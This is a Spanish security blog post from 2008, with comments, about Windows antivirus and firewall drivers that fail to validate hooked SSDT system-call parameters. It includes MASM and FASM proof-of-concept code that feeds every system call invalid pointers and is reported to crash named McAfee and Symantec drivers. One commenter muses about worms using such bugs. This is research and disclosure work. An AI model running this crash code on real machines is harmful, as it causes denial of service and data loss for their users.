Random IRC quote :      <DrOtorrino> aier estaba cenando y me vino un pajaro y me robo las natillas

SSDT: un poco mas hecha, por favor

El otro día leía un advisory de la compañia Coresecurity para varios antivirus y firewalls. El mismo se refería a varias funciones de la SSDT que dichos productos hookeaban. Al parecer no realizaban suficientes validaciones sobre los parametros recibidos, con lo cual daban pie a generar un bonito BSOD.

Despues de leerlo y al tratarse de un tema bastante simple, me decidí BSODa hacer una prueba estupida para la cual no tardaría más de dos minutos. Desarrollé una mierdecilla en ensamblador que invoca a las funciones de la SSDT (via sysenter en Windows XP) y les pasa siempre como parametros una ristra de «0FFFFFFFFh». De modo que si alguno de dichos parametros es utilizado como puntero desde ring0 provocaremos un casque.

Lo cierto es que esperaba que los resultados fueran nulos, pero me llevé una sorpresa al ver que al ejecutarlo el driver del antivirus que tenía en esa máquina (McAfee) me originó un BSOD. También me originó un casque el driver del «Syser» (un debugger de modo nucleo que tenía corriendo en ese momento) y más tarde en otra máquina me dio otro pete el mítico SymTDI.sys de Symantec.

Sin investigar mucho, ninguno de estos fallos tiene pinta de ser explotable y un mero BSOD no resulta preocupante. Sin embargo, personalmente lo que me resulta chocante es que tantos productos puedan tener esta carencia de validaciones. Se supone que productos como antivirus y firewalls deben añadir una nueva capa de seguridad (y de hecho lo hacen), pero al mismo tiempo en demasiados casos vemos que en puntos clave los mismos carecen del rigor que se les debe exijir.

Por otro lado, aunque un BSOD pueda no ser preocupante, también es cierto que en algun caso remoto, incluso aplicaciones que simplemente esten mal desarrolladas podrían generar un casque en el sistema sin quererlo. Imaginaros el remoto caso en que un programa legitimo contenga algun error e invoque a una de estas funciones de la SSDT con parametros erroneos. El hecho de que el AV de turno provoque un BSOD traería de cabeza a un usuario domestico que no haya oido hablar en su vida (y que por suerte para él, nunca oirá) de un memory dump y el windbg.

El código del que os hablaba es el que sigue (para masm). Si decidis probar esto o algo parecido os recomiendo que lo hagais bajo una VM x)

.586.model flat,stdcalloption casemap:none  

;################################################################################  

include    \masm32\include\windows.inc  

include    \masm32\include\kernel32.inc  

includelib \masm32\lib\kernel32.lib  

;################################################################################  

;################################################################################  

.data  

cerdiBuffer dd 2000 dup (0FFFFFFFFh)  

;################################################################################  

;################################################################################  

.data?  

counter dd ?  

;################################################################################  

.code  

start:  

int 3  

mov   dword ptr [counter], 0h  

mov   dword ptr [cerdiBuffer], offset retorno  

;——-  

@bucle:  

;——-  

mov   eax, dword ptr [counter]  

mov   edx, offset cerdiBuffer  

word  0340Fh  

;——–  

retorno:  

;——–  

cmp   [counter], 1111h  

je    acabose  

inc   [counter]  

jmp   @bucle  

;———  

acabose:  

;———  

invoke ExitProcess, 0  

end start

And that’s all folks!

8 Comentarios para “SSDT: un poco mas hecha, por favor”

  1. Comment por LocoDelAssembly | 05/06/08 at 12:43 am

    ; Versión FASM
    include ‘win32axp.inc’
    section ‘.data’ data readable writable
    counter dd 0

    section ‘.code’ code readable executable
    start:
    int3
    mov [cerdiBuffer], retorno

    @bucle:
    mov eax, [counter]
    mov edx, cerdiBuffer
    sysenter

    retorno:
    cmp [counter], 1111h
    je acabose

    inc [counter]

    jmp @bucle

    acabose:
    invoke ExitProcess, 0

    cerdiBuffer dd 2000 dup (0FFFFFFFFh) ; Aprovecho esta sección porque no es escribible

    .end start ; Incorpora la tabla de importación con las APIs usadas y establece el entrypoint (.end es una macro al igual que invoke traídas desde win32axp.inc)

    Sin linker, sin pesado MASM 😀

    PD: Mil disculpas si el mensaje es innapropiado y/o cometí errores en la traducción.

  2. Comment por Mario Ballano | 05/06/08 at 12:53 am

    Ole con ole, esa versión FASMera 😉

    En lo relativo al post, parece que varios antivirus han estado afectados por el mismo problema y otros muy similares, cuidadín con esos drivers! … 🙂

    Un saludo,

    Mario

  3. Comment por Amian | 05/07/08 at 5:07 pm

    Menuda chingada, hace lustros que Lupita y yo no vemos esa pantalla del orto

  4. Comment por sha0 | 05/11/08 at 8:46 am

    Que interesante vector de ataque 🙂 gracias por publicas tus pruebas.
    un saludo.

  5. Comment por Anibal Sacco | 07/24/08 at 12:25 pm

    Como andas Mario? Yo soy el que escribio el advisory que nombras de Core Security , la empresa donde trabajo reverseando y desarrollando exploits.
    Te cuento que son muchisimos los drivers que hookean y no validan correctamente los parametros que le llegan de usermode.
    Pero ya se reportaron muchos bugs de esos. Los chicos de Matousec desarrollaron una tool llamada bsodhook, que tiene una base con los prototipos de las funciones, y va un poco mas alla de lo que vos propones, «alimentando» las funciones con estructuras validas con campos que apuntan a memoria invalida buscando descubrir la falta de chequeos pero mas en profundidad, al tratar de derreferenciar punteros menos expuestos que los parametros principales de la funcion en si.
    No es muy complicado implementar algo asi, pero hasta el momento nadie lo habia hecho, y aunque en muy pocos casos es posible conseguir ejecucion de codigo, seria un lindo feature para algun malware apocaliptico… o no?

    saludos

    .aLS

  6. Comment por Zohiartze Herce | 07/25/08 at 7:13 am

    Hola Anibal,

    Coño con el Mario, que parece que aqui todo lo hace el y es un puto vago el cabrón xDDDD. Esta mierda post lo escribi yo hace mil xD

    Leí el mail que enviasteis a full-disclosure en su día y sin más me dió por probar algo rapido y sucio 🙂 Otra persona que leió este post me envió un mail y me dijo que existía esa otra tool que mencionas. Lo del malware apocaliptico… creo que un malware apocaliptico estaría mas relacionado con un zero-day remoto y codigo poli-meta-morfico. El hecho de explotar fallos en local no haría al malware multiplicarse mas velozmente y de todos modos, el antivirus ya esta ahí antes que el malware, así que si no emplea técnicas que dificulten su detección, es malware muerto.

  7. Comment por Anibal Sacco | 07/25/08 at 3:25 pm

    Ja, es verdad, no habia leido que el post era tuyo en vez de mario…

    Creo que no entendiste a lo que iba, yo no dije que esos bugs dieran lugar a un «malware apocaliptico» sino que seria un buen *feature* para cualquiera que ya tenga su propia forma de propagarse.

    Es decir, un worm que explota un 0day remoto en algun soft muy popular, usa ese medio para propagarse, pero es muy comun que el bug solo permita la ejecucion con privilegios del usuario que esta logueado en ese momento ( un bug de IE o firefox por ej. ).
    Entonces, dado que son muchisimos los softs con ese tipo de bug (casi todos los antivirus y personal firewalls), de no haber sido reportados, le darian al worm la posibilidad de crashear cualquier maquina que lo tenga (a eso me referia con «feature») , cuando originalmente deberian depender de otro bug -generalmente local- para escalar privilegios.

    Bueno, igual solo fue un comentario de para que podria servir este tipo de bug tan comun…

    saludos

    .aLS

  8. Comment por Mario Ballano | 07/29/08 at 5:21 am

    Ya estamos faltando!,

    Aqui el unico vago es el senhorito Zohiartze ;-),

    btw… bienvenido por estos lares Anibal!! 🙂

    Un saludo!,

    Mario

Se han cerrado los comentarios